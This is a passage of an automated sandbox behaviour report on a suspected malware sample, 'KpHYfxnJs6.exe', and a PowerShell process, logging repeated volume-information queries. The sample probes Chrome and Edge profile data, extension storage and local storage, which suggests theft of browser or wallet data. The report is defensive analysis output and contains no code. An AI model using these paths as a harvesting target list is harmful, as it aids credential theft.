Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\gu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\id VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ko VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
